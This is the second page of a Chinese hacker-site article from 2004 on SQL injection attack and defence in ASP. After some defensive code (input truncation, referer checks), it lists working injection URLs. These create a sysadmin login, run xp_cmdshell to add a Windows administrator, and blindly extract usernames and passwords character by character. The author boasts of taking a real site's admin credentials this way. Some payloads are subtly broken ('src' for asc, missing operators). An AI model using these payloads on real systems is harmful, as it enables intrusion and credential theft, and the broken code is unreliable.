| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 黑客技术 >> 入侵检测 >> 文章正文 用户登录 新用户注册
  浅谈sql注入式(SQL injection)攻击与防范         ★★★ 【字体:
浅谈sql注入式(SQL injection)攻击与防范
作者:阿酷    文章来源:CnXHacker.Net    点击数:    更新时间:2004-10-28    
'"&name&"'"
rs.open sql,conn_data,1,1
'身份验证过程
if not rs.eof then
   if encrypt(pwd)=rs("pwd") then '这里对输入的密码进行加密处理
      session("login")="ok"
      response.redirect "/default.asp"
   else
      response.redirect "login.asp"
   end if
else
   response.redirect "login.asp"
end if
……


    (4)用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作,因而也就防止了原本用于执行SELECT命令的地方却被用于执行INSERT、UPDATE或DELETE命令。如果是大型官方站点,千万不要怕麻烦!
    (5)通过数据库设置特定的存储过程,只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。
    (6)限制表单或查询字符串输入的长度。如果用户的登录名字最多只有20个字符,那么不要认可表单中输入的20个以上的字符,这将大大增加攻击者在SQL命令中插入有害代码的难度。当然,我们可以通过本地提交来绕过这个限制,但是也不是没有办法来控制,来看:
    a、在取数据的时候,只取有效长度内的数据。
以下内容为程序代码:

……
dim name,pwd
name=left(request.form("name"),20)
……


    b、在服务器确认提交位置
    login.asp
以下内容为程序代码:

……
<form action="verify.asp" method="post" name="login">
  <input type="hidden" name="referer" value="<%=Request.ServerVariables("HTTP_REFERER")%>">
  <input type="hidden" name="ser_name" value="<%=Request.ServerVariables("SERVER_NAME%>">
  用户名<input type=text name=name value="" maxlength="20">
  密码<input type=password name=pwd value="" maxlength="20">
  <input type=submit name=bt value="确认">
  <input type=reset name=bt value="重置">
</form>
……


    这里传递了2个参数referer,ser_name
    verify.asp
以下内容为程序代码:

……
dim referer,ser_name
'取这2个参数
referer=Cstr(Request.ServerVariables("HTTP_REFERER"))
ser_name=Cstr(Request.ServerVariables("SERVER_NAME"))
'判断浏览器位置
if mid(referer,8,len(ser_name))<>ser_name then
   response.redirect "login.asp"
end if
……


    这样,如果你不是在该网站提交的数据,就不能够顺利登陆。
    (7)检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录,但实际返回的记录却超过一行,那就当作出错处理。
    4、网页传递参数不进行过滤处理
    很多网站都存在这个问题,比如http://www.***.com/show.asp?id=50,在没有对id进行过滤,或有效过滤的情况下,整个网站都处在非常危险的境地。
    我们可以通过很简单的办法测试是否存在这个问题:
    http://www.***.com/show.asp?id=50 and 1=1
    如果页面显示正确,基本上可以断定它存在这个问题。
    来看看攻击者能做写什么:
    (1)http://www.***.com/show.asp?id=50;exec master.dbo.sp_addlogin Cool;--
    (2)http://www.***.com/show.asp?id=50;exec master.dbo.sp_password null,123456,Cool;--
    (3)http://www.***.com/show.asp?id=50;exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--
    (4)http://www.***.com/show.asp?id=50;exec master.dbo.xp_cmdshell 'net user Cool 123456 /add';--
    (5)http://www.***.com/show.asp?id=50;exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--
     只要是表单中能提交的,这里基本都可以提交。
    (6)猜表名:http://www.***.com/show.asp?id=50 and 0<>(select count(*) from tablename),这里的tablename就是你猜测的表名。如果页面显示正常,则你猜测的表名是正确的。
    (7)猜字段名:http://www.***.com/show.asp?id=50 and 0<>(select count(fieldname) from tablename),这里的fieldname是表中某一字段名,如果页面显示正常,可以断定字段名称正确。
    (8)在获得tablename和fieldname以后,就可以更进一步了。
    比如是登陆系统,tablename是user,fieldname是id,name和pwd,看看能做些什么:
    a、http://www.***.com/show.asp?id=50 and 0<>(select count(*) from user where id>1000)
    粗略判断用户数量
    b、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(name)=10)
    判断id为1的用户的用户名长度是否为10
    c、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and mid(name,n,1)='a')
    判断id为1的用户的用户名的第n位是否为a
    d、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(pwd)=10)
    判断id为1的用户的密码长度是否为10
    e、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and mid(pwd,n,1)='a')
    判断id为1的用户的密码的第n位是否为a,如果你的密码没有加密,嘿嘿!
    当然mid(pwd,n,1)也可以写成right(left(pwd,n),1),个人习惯了!
    不过这样子一点一点的试,是不是太累了,那就自己用用perl写个小东东吧,挂个字典?呵呵,随你便!
    另外,还有一个小技巧,可以让你很快的破解用户名和密码,我用这种方法,在10分钟内完成了猜表名、猜列名、破解一个10位长(其中5位汉字)的用户名、破解它的12位(1位汉字)密码,获得了××安全网站的后台管理员用户名和密码,不过其中有8项内容是通过社会工程学猜的,呵呵。只是有点郁闷的是我没有找到网站后台的登陆界面,郁闷ing……
    a、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(name)=10)
    先确定用户名长度
    b、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(pwd)=10)
    再确定密码长度
    c、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,1,1))<0)
    判断用户名第一位是否为中文,如果是中文,一般都是负的好多
    如果不是,一般范围都在27~126之间,可以使用
    http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))>60)
    http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))<100)
    来确定范围,最终得出asc码值,通过对照(常用ASCII 码对照表)来获得第n位内容。
    如果是中文,应该小于-32,768,可以使用
    http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))>-30000)
    http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))<-10000)
    来确定范围,最终得出asc码值,通过转换获得第n位的内容,方法多多,许多编辑工具都有这个功能,也可以使用chr()函数直接输出进行转换。
    d、同理,可以很快获得密码内容。
    这里你是否也看到了刚才提到的request对象中省略集合名称的问题呢?!:)
    解决办法:这类问题,主要是对传递参数的过滤和对数据合法性的验证。
    限于个人水平,以上内容不一定完全正确,而且还有许多没有提及的地方,希望和大家更多的交流。 

上一页  [1] [2] 

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    活地运用SQL Injection做数据
    数据库安全应用 使用MySQL的
    MSSQL数据库SA权限入侵的感悟
    XSS跨站脚本及SQL注入漏洞技
    开源MySQL停止提供企业版源代
    打造SQL Server2000的安全策
    堵死网站被SQL注入的隐患
    浅谈WINDOWS操作系统防黑的一
    浅谈IP安全策略:防范被Ping
    fsqh.exe - fsqh - 进程信息
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.